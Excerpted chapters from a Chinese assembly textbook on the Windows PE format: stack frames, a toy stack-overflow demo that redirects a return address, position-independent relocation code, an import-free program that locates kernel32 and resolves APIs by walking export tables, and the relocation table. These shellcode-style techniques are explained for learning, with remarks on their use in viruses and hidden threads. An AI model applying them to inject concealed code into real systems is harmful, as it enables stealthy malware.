    {"text": "6.1.2 call调用中的栈实例分析 6.1.2 call调用中的栈实例分析 如果经常调试程序，大家就会感受到栈在程序运行过程中所起的重要作用。下面看一个复杂一点的栈调用的例子，代码见代码清单6-1。 代码清单6-1 栈调用示例代码 1 ;------------------------ 2 ;我的第一个基于Win32的汇编程序 3 ;戚利 4 ;2006.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'HelloWorld',0 19 ;代码段 20 .code 21 22 fun1 proc _p1,_p2 23 local @dwTemp:dword 24 local @dwCount:dword 25 26 pushad 27 28 mov @dwTemp,0 29 mov eax,_p2 30 mov @dwCount,eax 31 32 popad 33 mov eax,@dwCount 34 ret 35 fun1 endp 36 37 start: 38 invoke fun1,addr szText,2 39 invoke MessageBox,NULL,offset szText,NULL,MB_OK 40 invoke ExitProcess,NULL 41 end start 22～35行定义了函数fun1。该函数接收两个参数_p1和_p2；参数_p1在函数中并没有用到，参数_p2用于向内部变量@dwCount传递值。在函数内部定义了两个变量@dwTemp和@dwCount，这样设计函数fun1的主要目的是使读者了解栈与函数参数，以及函数内部变量之间的关系。38行是主程序中调用该函数的语句。 通过在OD中跟踪HelloWorld.exe的执行，查看函数fun1被调用的过程。在OD中，fun1的解释如下所示： 从以上反汇编代码中可以看到，局部变量的定义是通过调整栈顶指针来完成的。函数被调用时，需要用到栈传递参数，定义局部变量；而默认情况下，ebp是专门用来操作这些数据的专用指针，所以调用前首先需要保存原始的ebp值，并为该函数设置栈的基地址（语句mov ebp,esp），将该基地址给ebp；以后对栈的操作就可以从这个基地址出发，通过距离基地址的偏移来完成栈内容的读写。如指令： MOV EAX,DWORD PTR SS:[EBP+C] MOV DWORD PTR SS:[EBP-8],EAX leave指令完成了对函数中定义的局部变量的清理（通过直接调整esp指针来完成），并恢复了原始的ebp指针的值。该指令等价于： MOV ESP,EBP POP EBP 综上所述，call指令的具体调用过程如下： 步骤1 将调用函数用到的参数入栈。 步骤2 将call指令的下一条指令入栈，以备返回。 步骤3 保存原始ebp指针。 步骤4 为函数准备栈空间，ebp指向栈中该函数的基地址。 步骤5 为函数中定义的局部变量开辟栈空间（通过调整esp来完成）。 步骤6 运行函数中定义的语句。 步骤7 清理局部变量，恢复原始的ebp指针（通过leave指令完成）。 步骤8 返回步骤2保存的下一条指令处执行，同时清理栈中的函数参数（通过指令retn 8完成）。 下面来看call指令调用不同时间栈的变化情况。call指令调用前的栈见表6-1。 栈是从高地址向低地址增长的，所以，表格的第一行一定是栈顶。从表格中可以看出，栈顶指针指向了kernel32.7C817077。如果把HelloWorld.exe看成是一个函数，那么栈顶内容是调用该函数的call指令的下一条指令地址，该地址位于函数kernel32.dll!BaseProcessStart内。相关代码片段如下所示： 如上所示，kernel32.dll的函数BaseProcessStart通过调用mainCRTStartup执行用户程序的入口函数；完成用户程序的执行后，调用函数_ExitThread@4退出进程的主线程。关于操作系统加载进程的细节请参照本书9.1节部分。 当程序运行到0x00401015处时，栈内容如表6-2所示。 此时，esp指向栈顶0x0012FFAC，而ebp则指向0X0012FFB4。栈中依次被压入了函数fun1的两个参数、call fun1完成后的返回地址、为函数fun1开辟的临时缓冲区、存放着原始的ebp值和函数的局部变量。 当程序执行完leave指令后，栈内容如表6-3所示。 函数执行完毕，缓冲区被清理干净，只剩下要返回的地址和函数的参数。程序进一步通过地址0x00401019处的\"retn 8\"指令完成堆栈中剩余部分数据的清理。 当程序执行完0x00401019处的指令后，栈又还原成表6-1的状态。从这个过程可以看出，栈是平衡的，压入多少，最后就弹出多少。 总结 函数一旦被调用，运行开始前应该先将原始的ebp指针压入栈，然后将压入ebp以后的当前栈顶指针给ebp，这样就等于为局部变量的缓冲区确定了基地址。局部变量由此处开始压入和弹出。 综上所述，调用函数在运行时的栈应该如图6-3所示。 图 6-3 调用函数运行时的栈示意图 在这样的栈状态中，被调用的函数开始工作。主要有两个操作： 第一，以esp-x来扩充缓冲区长度，以esp+x来收缩缓冲区长度。 第二，以ebp-x（或ebp+x）来存取局部变量（或参数）的值。"},
    {"text": "6.1.3 栈溢出 6.1.3 栈溢出 所谓栈溢出，是指由于程序没有考虑栈中定义的局部数据块的大小，而向该数据块写入了过多的数据，从而导致数据越界，覆盖了栈中的已存在的其他数据的技术。以前，认为栈溢出是程序设计错误，由于大家用得多了，便成为了技术。下面将和大家一起来看一个栈溢出的实际例子。如果掌握了栈溢出的原理，也就彻底掌握了栈。 从前面对程序执行过程中堆栈的变化分析可以看出，栈中有一个很重要的数据：返回eip的值。如果可以通过合理构造一些数据，让call调用在返回时不回到call指令的下一条指令处执行，而是跳到在构造的数据中指定的特殊位置，这就是栈溢出的大致描述。 首先，构造一个可以演示栈溢出的源代码，见代码清单6-2。 代码清单6-2 栈可溢出的源程序（chapter6\\StackFlow.asm） 1 ;------------------------ 2 ;栈可溢出的源程序 3 ;戚利 4 ;2010.2.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'HelloWorldPE',0 19 szShellCode db 3 dup(0ffh),0 20 21 ;代码段 22 .code 23 24 ;--------------------------- 25 ;未检查长度的字符串拷贝函数 26 ;--------------------------- 27 _memCopy proc _lpSrc 28 local @buf [4]:byte 29 30 pushad 31 mov esi,_lpSrc 32 lea edi,@buf 33 mov al,byte ptr [esi] 34 .while al!=0 35 mov byte ptr [edi],al 36 mov al,byte ptr [esi] 37 38 inc esi 39 inc edi 40 .endw 41 popad 42 ret 43 _memCopy endp 44 45 46 start: 47 invoke _memCopy,addr szShellCode 48 49 invoke MessageBox,NULL,offset szText,NULL,MB_OK 50 invoke ExitProcess,NULL 51 end start 上述程序构造了一个可能使栈溢出的函数（24～43行）。由于字符串拷贝函数_memCopy在编码时未考虑目标缓冲区的长度，只是简单地通过判断最后一个字节是否为“\\0”来结束拷贝；当拷贝过程中源字符串长度大于目标缓冲区长度时，将会导致超出的部分数据覆盖栈中有用的信息，便会造成溢出。这些被覆盖的信息包括执行完函数_memCopy后的返回地址。 编译链接程序后执行还是会弹出对话框，虽然看起来没有什么问题，如果将代码第19行定义字符串szShellCode的长度修改为11，程序在执行时就会发生栈溢出。这个过程可以通过OD的单步调试查看到。 表6-4显示了函数_memCopy调用前的栈。 执行拷贝程序以后的栈如表6-5所示。 可以看到，执行函数_memCopy后，0ffffffffh被赋值给了局部变量@buf，剩下的8字节则继续按字符串复制中的从低地址向高地址的增长方式覆盖，原始的ebp值被修改为0ffffffffh，函数调用完成后的返回地址也被修改为0ffffffffh。 尽管代码清单6-2已经实现了栈溢出，但运行时没出现任何有意义的提示，用户只能通过调试进程，从栈的变化得出栈溢出的结论。为了能让读者更直观地看到栈溢出，下面对上述程序进行简单修改，修改后的源代码StackFlow1.asm见代码清单6-3。 代码清单6-3 栈溢出程序测试（chapter6\\StackFlow1.asm） 我们将szShellCode修改成了一些有用的值，特别是最后一个双字0040103ah；该双字是一个地址，它指向了代码的第50行。当完成字符串拷贝的操作时，通过拷贝赋值使栈溢出，溢出的值修改返回地址，使其跳过本该执行第49行指令的操作。也就是说，尽管在代码中显示了两个对话框，但事实却只有一个对话框\"Touch Me!\"被显示。 因为本章并不讲述ShellCode的构造，以及栈溢出，所以相关知识仅点到为止。希望读者通过对栈的深入研究，可以进一步认识可执行文件指令代码的执行过程。下面来看本章的重点部分，代码重定位与PE中的重定位表。"},
    {"text": "6.2 代码重定位 6.2 代码重定位 代码重定位是把可执行代码从内存的一个地方移动到另外一个地方去，保证该部分代码还能正常执行的一种技术。该技术广泛应用于补丁程序设计、病毒程序设计，本书第16～23章会大量使用代码重定位技术编写程序代码。本节将主要介绍代码重定位的实现方法，以及PE文件对代码重定位数据的组织。 6.2.1 重定位的提出 可执行代码从内存的一个地方移动到另外一个地方，所有的字节码均保持不变；如果代码指令中的某些操作数不跟随着地址发生改变，势必会导致程序运行出错。这里的某些操作数是指那些使用了绝对地址定位的程序指令中的操作数。分析以下代码段： 1 dwVari dd ? ;全局变量 2 3 proc Proc1_dwParam ;函数参数 4 local @dwLocal ;局部变量 5 6 mov eax,dwVari 7 mov eax,@dwLocal 8 mov eax,_dwParam 9 ret 10 proc endp 11 12 invoke Proc1,1234 ;子程序调用 以上代码经过编译链接和反汇编以后，生成以下机器码： 从机器指令字节码中可以得出这样的结论：全局变量的地址包含在机器码中，而操作数为局部变量或函数参数的指令中均不包含绝对地址。那么，现在假设这段代码在运行的时候从00401000h搬移到00801000h时，哪里会产生错误呢？ 产生错误的地方是以下指令： mov eax,dword ptr [00400FFC] ;也就是指令mov eax,dwVari 由于程序的起始地址发生了改变，程序中定义的变量的位置也跟着发生了改变。但是变量的位置通常会被一些指令写到操作数的位置，且固定不再修改。如上所示，地址0x00400FFC最初指向变量dwVari，随着程序起始地址的改变，变量dwVari的地址不再是原来的0x00400FFC了，但指令字节码中该值却没有发生变化。如果按照不变的存取要求，在内存的00400FFCh处取值就不会取到变量dwVari的值，从而导致程序运行错误。无论你想把这段代码搬移到内存的什么位置运行，必须首先对涉及全局变量的指令操作数进行修正，这就是我们平时经常听说的重定位问题。那么，重定位给程序设计人员带来了什么方便呢？可以用一句话来概括： 如果在代码编写中使用重定位技术，你就可以将代码随意地部署到内存中，而不影响程序的运行。 既然重定位这么重要，那么如何通过程序实现重定位方法呢？ 6.2.2 实现重定位的方法 6.2.2 实现重定位的方法 代码重定位的关键问题是代码中使用了大量的绝对地址。如果将这些绝对地址改成相对地址，那么重定位的问题也就很自然地解决了。看下面的例子： 1 dwVari dd ? 2 3 call @F 4 @@: 5 pop ebx 6 sub ebx,offset @B 7 mov eax,[ebx+offset dwVari] 以上代码对应的字节码为： 00401000:00000000 byte 4 dup(0) 00401004:E800000000 call 00401009 00401009:5B pop ebx 0040100A:81EB09104000 sub ebx,00401009 00401010:8B8300104000 mov eax,dword ptr [ebx+00401000] 上述代码不存在重定位问题。为什么呢？分析如下： call指令会将返回地址压入栈中。当整段代码在没有移动的情况下执行时，call @F指令执行以后栈中的返回地址就是@@:标号的地址00401009h，下一句pop指令将返回地址弹出到ebx中，再接下来ebx减去00401009h，现在ebx=0，所以，mov eax,[ebx+offset dwVari]等价于mov eax,dwVari。 现在假设已经把代码移动到了00801000h处。@@:标号处对应的地址为00801009h，全局变量dwVari所对应的地址为：00801000h。当call指令执行以后，压入栈的地址为：00801009h，pop到ebx中的数据就是它，经过sub ebx,00401009以后，再经过指令ebx+offset dwVari对地址进行相加，最终，eax获得的数据逻辑地址为： 00801009h-00401009h+00401000h=00801000h 而这个地址刚好是移动后全局变量dwVari的VA。 通过以上简单的计算得出这样的结论：虽然代码移动了位置，但指令还是访问到了正确的变量所在的内存地址。 对代码重新定位，就可以实现在一个内存进程中合理地插入附加代码，实现代码的有效拼接，而不会因为插入导致数据或代码移位而造成内存访问错误。 同时，代码的重定位也可以帮助我们将自己设计的具有独立功能模块的代码，注册到另外一个运行的程序内存空间，并作为这个运行的程序的一个子线程，来达到隐藏自己的目的。通过这种方法运行的程序，别人无法使用任务管理器查看到它，也无法使用第三方的工具找到它。他们所能了解到的只是正常程序多了一个线程，多占用了内存，仅此而已。"},
    {"text": "6.2.3 重定位编程 6.2.3 重定位编程 本小节主要从两个方面讨论重定位源程序编码，并对重定位编程进行演示： 一个是不存在导入表的源程序。"},
    {"text": "代码清单6-4 无导入表的HelloWorld（chatper6\\HelloWorld0.asm） 1 ;------------------------ 2 ;无导入表的HelloWorld 3 ;戚利 4 ;2010.6.27 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 12 ;声明函数 13 _QLGetProcAddress typedef proto :dword,:dword 14 ;声明函数引用 15 _ApiGetProcAddress typedef ptr _QLGetProcAddress 16 17 18 _QLLoadLib typedef proto :dword 19 _ApiLoadLib typedef ptr _QLLoadLib 20 21 _QLMessageBoxA typedef proto :dword,:dword,:dword,:dword 22 _ApiMessageBoxA typedef ptr _QLMessageBoxA 23 24 25 ;代码段 26 .code 27 28 szText db 'HelloWorldPE',0 29 szGetProcAddr db 'GetProcAddress',0 30 szLoadLib db 'LoadLibraryA',0 31 szMessageBox db 'MessageBoxA',0 32 33 user32_DLL db 'user32.dll',0,0 34 35 ;定义函数 36 _getProcAddress _ApiGetProcAddress ? 37 _loadLibrary _ApiLoadLib ? 38 _messageBox _ApiMessageBoxA ? 39 40 41 hKernel32Base dd ? 42 hUser32Base dd ? 43 lpGetProcAddr dd ? 44 lpLoadLib dd ? 45 46 ;------------------------------------ 47 ;根据kernel32.dll中的一个地址获取它的基地址 48 ;------------------------------------ 49 _getKernelBase proc _dwKernelRetAddress 50 local @dwRet 51 52 pushad 53 mov @dwRet,0 54 55 mov edi,_dwKernelRetAddress 56 57 ;查找指令所在页的边界，以1000h对齐 58 and edi,0ffff0000h 59 60 .repeat 61 ;找到kernel32.dll的DOS头 62 .if word ptr [edi] == IMAGE_DOS_SIGNATURE 63 mov esi,edi 64 add esi,[esi+003ch] 65 66 ;找到kernel32.dll的PE头标识 67 .if word ptr [esi] == IMAGE_NT_SIGNATURE 68 mov @dwRet,edi 69 .break 70 .endif 71 .endif 72 sub edi,010000h 73 .break.if edi＜070000000h 74 .until FALSE 75 popad 76 mov eax,@dwRet 77 ret 78 _getKernelBase endp 79 80 ;------------------------------- 81 ;获取指定字符串的API函数的调用地址 82 ;入口参数：_hModule为动态链接库的基地址 83 ;_lpApi为API函数名的首址 84 ;出口参数：eax为函数在虚拟地址空间中的真实地址 85 ;------------------------------- 86 _getApi proc _hModule,_lpApi 87 local @ret 88 local @dwLen 89 90 pushad 91 mov @ret,0 92 ;计算API字符串的长度，含最后的0 93 mov edi,_lpApi 94 mov ecx,-1 95 xor al,al 96 cld 97 repnz scasb 98 mov ecx,edi 99 sub ecx,_lpApi 100 mov @dwLen,ecx 101 102 ;从PE文件头的数据目录获取导出表地址 103 mov esi,_hModule 104 add esi,[esi+3ch] 105 assume esi:ptr IMAGE_NT_HEADERS 106 mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 107 add esi,_hModule 108 assume esi:ptr IMAGE_EXPORT_DIRECTORY 109 110 ;查找符合名称的导出函数名 111 mov ebx,[esi].AddressOfNames 112 add ebx,_hModule 113 xor edx,edx 114 .repeat 115 push esi 116 mov edi,[ebx] 117 add edi,_hModule 118 mov esi,_lpApi 119 mov ecx,@dwLen 120 repz cmpsb 121 .if ZERO ? 122 pop esi 123 jmp @F 124 .endif 125 pop esi 126 add ebx,4 127 inc edx 128 .until edx＞=[esi].NumberOfNames 129 jmp _ret 130 @@: 131 ;通过API名称索引获取序号索引再获取地址索引 132 sub ebx,[esi].AddressOfNames 133 sub ebx,_hModule 134 shr ebx,1 135 add ebx,[esi].AddressOfNameOrdinals 136 add ebx,_hModule 137 movzx eax,word ptr [ebx] 138 shl eax,2 139 add eax,[esi].AddressOfFunctions 140 add eax,_hModule 141 142 ;从地址表得到导出函数的地址 143 mov eax,[eax] 144 add eax,_hModule 145 mov @ret,eax 146 147 _ret: 148 assume esi:nothing 149 popad 150 mov eax,@ret 151 ret 152 _getApi endp 153 154 start: 155 ;取当前函数的栈顶值 156 mov eax,dword ptr [esp] 157 ;获取kernel32.dll的基地址 158 invoke _getKernelBase,eax 159 mov hKernel32Base,eax 160 161 ;从基地址出发搜索GetProcAddress函数的首址 162 invoke _getApi,hKernel32Base,addr szGetProcAddr 163 mov lpGetProcAddr,eax 164 mov _getProcAddress,eax ;为函数引用赋值GetProcAddress 165 166 ;使用GetProcAddress函数的首址 167 ;传入两个参数调用GetProcAddress函数，获得LoadLibraryA的首址 168 invoke _getProcAddress,hKernel32Base,addr szLoadLib 169 mov _loadLibrary,eax 170 171 ;使用LoadLibrary获取user32.dll的基地址 172 invoke _loadLibrary,addr user32_DLL 173 mov hUser32Base,eax 174 175 ;使用GetProcAddress函数的首址，获得函数MessageBoxA的首址 176 invoke _getProcAddress,hUser32Base,addr szMessageBox 177 mov _messageBox,eax ;调用函数MessageBoxA 178 invoke _messageBox,NULL,offset szText,NULL,MB_OK 179 180 ret 181 end start 之所以说该程序生成的最终PE里不存在导入表，是因为该程序没有让Windows加载器替我们加载动态链接库代码。"},
    {"text": "以函数MessageBoxA的调用为例，正常情况下，调用函数前需要先静态引入该函数所在的动态链接库库文件和包含文件，如下所示： include user32.inc includelib user32.lib 然后在程序中使用invoke指令调用该函数。 在以上程序中没有使用这种方法，该程序的做法是：首先，在21～22行声明该函数（_messageBox）的定义（其作用与指定包含文件的作用是一样的）； 其次，在171～173行调用LoadLibraryA函数，将动态链接库user32.dll加载到进程地址空间，175～177行则通过调用函数_getProcAddress得到MessageBoxA函数的地址；"},
    {"text": "程序中所有用到的对全局变量的访问都变成无需重定位的寄存器访问方式（包括对函数的调用），相关代码如下： 154 start: 155 156 ;取当前函数的栈顶值 157 mov eax,dword ptr [esp] 158 push eax 159 call @F ;免去重定位 160 @@: 161 pop ebx 162 sub ebx,offset @B 163 164 pop eax ┇ 193 194 ;模仿调用invoke GetProcAddress,hKernel32Base,addr szLoadLib 195 push eax 196 push ecx 197 call dword ptr [edx] 198 199 mov [ebx+offset _loadLibrary],eax 200 201 ;使用LoadLibrary获取user32.dll的基地址 202 203 mov eax,offset user32_DLL 204 add eax,ebx 205 206 mov edi,offset _loadLibrary 207 mov edx,[ebx+edi] 208 209 push eax 210 call edx ;invoke LoadLibraryA,addr _loadLibrary ┇ 245 ret 246 end start 下面我们对这两个程序进行测试。"},
    {"text": "图 6-4 HelloWorld_1.exe的运行效果 图 6-5 HelloWorld1_1.exe的运行效果 接下来使用小工具PEInfo分析HelloWorld1_1.exe的结构如下： 通过查看输出结果可以得知：HelloWorld_1.exe只有一个代码段，没有导入表，也没有导出表，没有重定位的信息。"},
    {"text": "6.3 PE文件头中的重定位表 6.3 PE文件头中的重定位表 了解了重定位的相关知识，现在，我们来看PE文件头中的重定位表。 在实际开发过程中，不可能所有的操作都由寄存器完成，这样既不直观，又难以阅读；为了方便开发人员编程，通常允许代码中存在重定位信息。重定位信息是在编译的时候，由编译器生成并被保留在可执行文件中。当程序执行前，操作系统会根据这些重定位信息对代码予以修正，复杂的操作由编译器和操作系统代替程序完成。开发人员在编写程序的时候就可以随意地使用那些涉及直接寻址的指令了。 根据前面学过的知识，程序被装入内存时，其基址是由字段IMAGE_OPTIONAL_HEADER32.ImageBase决定的。但是，如果当装载时该位置已经被别的程序使用，那么操作系统就有权重新选择一个基地址。这时候就需要对所有的重定位信息进行修正，而修正的依据就是PE中的重定位表。 6.3.1 重定位表定位 重定位表为数据目录中注册的数据类型之一，其描述信息处于数据目录的第6个目录项中。使用PEDump小工具获取随书文件chapter6\\winResult.dll的数据目录表内容如下： 加粗部分即为重定位表数据目录项信息。通过以上字节码得到如下信息： 重定位表所在地址RVA=0x000004000 重定位表数据大小=000000B4h 使用小工具PEInfo查看PE文件的节的相关信息，结果如下： 根据RVA与FOA的换算关系，可以得到： 重定位表数据所在文件的偏移地址为0x00000C00。 6.3.2 重定位表项IMAGE_BASE_RELOCATION 6.3.2 重定位表项IMAGE_BASE_RELOCATION 与导入表类似，重定位表指针指向的位置是一个数组，而不像导出表一样只有一个结构。这个数组的每一项都是如下结构： IMAGE_BASE_RELOCATION STRUCT VirtualAddress dd ? ;重定位内存页的起始RVA SizeOfBlock dd ? ;重定位块的长度 IMAGE_BASE_RELOCATION ENDS 以下是对每一项的详细解释。 71.IMAGE_BASE_RELOCATION.VirtualAddress +0000h，双字。重定位块RVA。由于直接寻址指令较多，所以在一些PE文件中，存在大量的需要修正的重定位地址。按照常规计算，每个地址占4字节，如果有n个重定位项，那么需要总的空间为4*n字节。重新审视直接寻址中的地址发现，在一页中的所有地址只需要12位（因为Win32页面大小为1000h,也就是4096字节，即2的12次方）。而这12位只需要用一个字就能表达出来。如果有n个重定位项，则只需要2*n个地址+4字节的页面起始RVA+4字节的本页的重定位项个数。将以上两种情况的表达式分别是： Sum0=4*n Sum1=2*n+4+4 很明显，当有大量的重定位地址时，Sum0远大于Sum1。事实上，为了节约存储空间，重定位表的存储方式选择第二种方式。字段IMAGE_BASE_RELOCATION.VirtualAddress就是表达式Sum1中的第一个4，也就是页面的起始RVA。 72.IMAGE_BASE_RELOCATION.SizeOfBlock +0004h，双字。重定位块中重定位表项数量。该字段是表达式Sum1里的第二个4，描述的是该页面中所有的重定位表的项数。 数组和数组之间并不是相邻的。比如页面1的IMAGE_BASE_RELOCATION后，并不是页面2的IMAGE_BASE_RELOCATION，而是页面1的所有重定位表项；每个项大小为一个字，每个字的高四位被用来说明此重定位项的类型，十六才是需要重定位的数据在页面中的地址。高四位的含义见表6-6。 在实际的PE文件中，我们只能看到0和3这两种情况，也就是说这一项要么是对齐用的，要么是需要全部修正的。 6.3.3 重定位表的结构 6.3.3 重定位表的结构 重定位表的结构如图6-6所示。该实例的重定位表结构中共存在两个重定位块，即块1和块2。块1有4个重定位表项，其中有3个表项是需要重定位的地址（16位的高四位为3），最后一个为填充用（高四位为0）。块2有6个重定位表项，它们全部是需要重定位的地址。 图 6-6 重定位表结构 所有的重定位块最终以一个VirtualAddress字段为0的IMAGE_BASE_RELOCATION结构作为结束。现在可以解释：为什么我们看到的PE文件的可执行代码一般都是从1000h开始，而不是从PE的基地址开始了。如果从PE的基地址开始，也就是页面的起始地址为0000h，在定义重定位表块时第一个VirtualAddress的值就是0；按照对重定位块的定义，到了这里就是所有重定位项的结束。这个解释和事实有出入，所以，在装载可执行代码时都是从1000h开始。"},
    {"text": "6.3.4 遍历重定位表 6.3.4 遍历重定位表 遍历重定位表的编程是从本书5.4.3小节的PEInfo.asm程序开始的。在函数_openFile中加入以下代码（加黑部分）： ;到此为止，该文件的验证已经完成。为PE结构文件 ;接下来分析文件映射到内存中的数据，并显示主要参数 invoke _getMainInfo,@lpMemory,esi,@dwFileSize ;显示导入表 invoke _getImportInfo,@lpMemory,esi,@dwFileSize ;显示导出表 invoke _getExportInfo,@lpMemory,esi,@dwFileSize ;显示重定位信息 invoke _getRelocInfo,@lpMemory,esi,@dwFileSize 然后编写函数_getRelocInfo，如代码清单6-5所示。 代码清单6-5 获取PE文件的重定位信息的函数_getRelocInfo（chapter6\\PEInfo.asm） 1 ;-------------------------------------- 2 ;获取PE文件的重定位信息 3 ;-------------------------------------- 4 _getRelocInfo proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 local @szSectionName [16]:byte 7 8 pushad 9 mov esi,_lpPeHead 10 assume esi:ptr IMAGE_NT_HEADERS 11 mov eax,[esi].OptionalHeader.DataDirectory [8*5].VirtualAddress 12 .if!eax 13 invoke _appendInfo,addr szMsgReloc4 14 jmp _ret 15 .endif 16 push eax 17 invoke _RVAToOffset,_lpFile,eax 18 add eax,_lpFile 19 mov esi,eax 20 pop eax 21 invoke _getRVASectionName,_lpFile,eax 22 invoke wsprintf,addr @szBuffer,addr szMsgReloc1,eax 23 invoke _appendInfo,addr @szBuffer 24 assume esi:ptr IMAGE_BASE_RELOCATION 25 ;循环处理每个重定位块 26 .while [esi].VirtualAddress 27 cld 28 lodsd ;eax=[esi].VirtualAddress 29 mov ebx,eax 30 lodsd ;eax=[esi].SizeofBlock 31 sub eax,sizeof IMAGE_BASE_RELOCATION ;块总长度-2个dd 32 shr eax,1 ;然后除以2，得到重定位项数量 33 ;除以2是因为重定位项是word 34 push eax 35 invoke wsprintf,addr @szBuffer,addr szMsgReloc2,ebx,eax 36 invoke _appendInfo,addr @szBuffer 37 pop ecx ;重定位项数量 38 xor edi,edi 39 .repeat 40 push ecx 41 lodsw 42 mov cx,ax 43 and cx,0f000h ;得到高四位 44 .if cx == 03000h ;重定位地址指向的双字的32位都需要修正 45 and ax,0fffh 46 movzx eax,ax 47 add eax,ebx ;得到修正以前的偏移 48 ;该偏移加上装入时的基址就是绝对地址 49 .else ;该重定位项无意义，仅用来作为对齐 50 mov eax,-1 51 .endif 52 invoke wsprintf,addr @szBuffer,addr szMsgReloc3,eax 53 inc edi 54 .if edi == 8 ;每显示8个项目换行 55 invoke lstrcat,addr @szBuffer,addr szCrLf 56 xor edi,edi 57 .endif 58 invoke _appendInfo,addr @szBuffer 59 pop ecx 60 .untilcxz 61 .if edi 62 invoke _appendInfo,addr szCrLf 63 .endif 64 .endw 65 _ret: 66 assume esi:nothing 67 popad 68 ret 69 _getRelocInfo endp 11～15行通过检索数据目录表的第6项（用[esi].OptionalHeader.DataDirectory[8*5]来表示），获取重定位表的VirtualAddress。如果该值为0，意味着该PE文件没有重定位表，则显示没有重定位表的提示信息并退出，否则继续。 26～64行为一个循环，该循环完成了显示该PE文件中所有重定位块相关信息的功能。这些信息包括每一个块的基地址和块中重定位项的数量。指令lodsd和lodsw用于改变寄存器esi的值，循环结束条件是字段IMAGE_BASE_RELOCATION.VirtualAddress的值为0即结束。 39～60行为内嵌循环，负责输出每个重定位块的所有重定位项。每循环一次取一个字，判断高四位是否为3；如果是，则输出需要重定位的RVA地址，否则视为该重定位项无意义，仅作对齐使用，输出0FFFFFFFFh。 编译链接生成PEInfo，然后用刚生成的PEInfo打开C:\\windows\\system32\\kernel32.dll文件，查看输出的重定位表相关信息，如下所示： 可以看到，每个重定位块中的重定位项的RVA值（低十六位）的高四位都是相同的，高四位的值由重定位块的基地址决定。如上面所列第二个重定位块的低十六位的高四位为“2”，则重定位表项所有的低十六位的高四位均为“2”。 下节将通过一个实例来分析重定位表。"},
    {"text": "6.3.5 重定位表实例分析 6.3.5 重定位表实例分析 使用FlexHex打开文件chapter5\\winResult.dll，根据该文件头部数据目录表对重定位表项的描述，找到重定位表的文件偏移地址为0x00000C00。复制该地址的字节码内容如下： 从字节码可以获知： 重定位表第一项的代码起始页面RVA=00001000 第一块的长度为0b4h 块后加黑的00000000是所有块的结束标志（所以说整个代码只有一个重定位表块）。 第一块的第一个重定位项的值为3036h，其中高四位为3，转换为二进制码为0011，表示该重定位值的高位和低位均需要修正。低十二位为修正地址，该地址加上基地址再加上代码页面的起始地址即为代码在内存的实际位置VA值。公式如下： 实际VA=基地址+代码起始页面+低十二位虚拟地址 =00100000+001000+036 =00101036h 接下来调试调用了winResult.dll的程序FirstWindow.exe。从内存中找到001001036处的字节码： 可以看到，0x10001036、0x10001040、0x10001050、0x10001057处的地址均需要修正，这些地址刚好对应了在重定位表中看到的3036、3040、3050、3057。 下面再深入看看该处的汇编指令代码： 对应到源代码如下（加粗部分）： invoke GetWindowRect,hWin,ADDR Rct mov Xsize,X_START_SIZE mov Ysize,Y_START_SIZE invoke GetSystemMetrics,SM_CXSCREEN mov sWth,eax invoke TopXY,Xsize,eax 所有加黑的操作数访问的全部是全局变量，因为使用的是绝对地址，所以必须修正。因此，在重定位表中会有该位置的记录信息。 以上就是对动态链接库文件winResult.dll的重定位表的简单分析。 6.4 小结 6.4 小结 本章重点讨论了程序设计中的栈使用及PE中的重定位信息。PE中的重定位表是为了方便程序设计人员在编码中使用全局变量，重定位表项的描述则是为了便于PE加载程序在合适时修正代码中使用的绝对地址，保证程序在不同地址空间上运行的兼容性。 本章还初步探讨了免导入表的编程技术。该技术是基于动态链接库的动态加载技术实现的，在本书第11章还会详细讲述。由于使用该技术编写的代码没有导入表，因此非常有利于将代码整体移动到某个目标PE文件的指定位置处。仔细阅读本章将会对读者理解程序运行、PE加载及阅读本书进阶部分有很大帮助。"},
    {"text": "第7章 资源表 第7章 资源表 本章主要介绍常见的资源类型，以及PE中资源的组织方式。PE中的相关资源可以通过程序进行深度定位，所获取的二进制字节码与资源脚本语句之间是一一对应的。本章将对这两者的关系进行深入的解析，还会通过直接读资源数据和使用Windows API函数两种方法对资源表进行编程。 在程序设计中，总会涉及一些数据。这些数据可能是源代码内部需要用到的常量，比如菜单选项、界面描述等；也可能是源代码外部的，比如程序的图标文件、背景音乐文件、配置文件等，以上这些数据统称为资源。 按照程序与数据分离的设计思想，最理想的方案是单独为程序所需要的数据安排一个节来存储——PE中的资源就是这么做的。 7.1 资源分类 资源数据在PE里是最复杂的一种。其难度主要体现在对资源数据的遍历定位上，以及资源块的不易阅读性。因为即使通过信息定位方法找到了资源块，其内部结构还需要进一步解析。首先来看资源分类的历史。 当初次将资源概念应用到PE时，人们普遍认为16个类型就足以包含所有的资源数据了；所以，这16个类型的资源在追加进PE时，并不是赤裸裸地进入，而是全部附加了一些数据结构（尽管这些结构很简单），这些数据结构实现了对不同类别资源块的描述与组织。操作每一个资源块之前，都需要明确该资源在PE中追加的资源头部数据结构，这便成为用户使用这些资源的主要障碍。 表7-1列出了预定义的16种资源。 随着计算机技术的发展，新的技术不断涌现，新的资源类型也被定义。微软首先开始在这16个基本类型后追加新的类型，如多媒体、XML、超文本、MANIFEST、VXD等。随着这些新的信息越来越多，慢慢地，微软意识到，维护这样的信息难度很大，于是就放弃了对这些新信息的扩展；同时，对新加入的资源类别的数据组织方式也不再进行明示。这为程序设计者在操作资源数据时设置了障碍。 现在看来，应该是资源类型的最初定义出现了问题，至少让人感觉不是那么优雅。好在PE中针对资源的数据结构定义是良好的，例如，IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的第一个字段用来表示资源类别。 定义数据结构的工程师在这里用了一个很巧妙的规定，使得资源类型可以被用户随意定义。数据结构规定，该字段高位如果为1，说明对应的资源类别是一个非标准的新类型，用户可以通过扩展这个字段定义一个新的不在预定义里的资源类型。 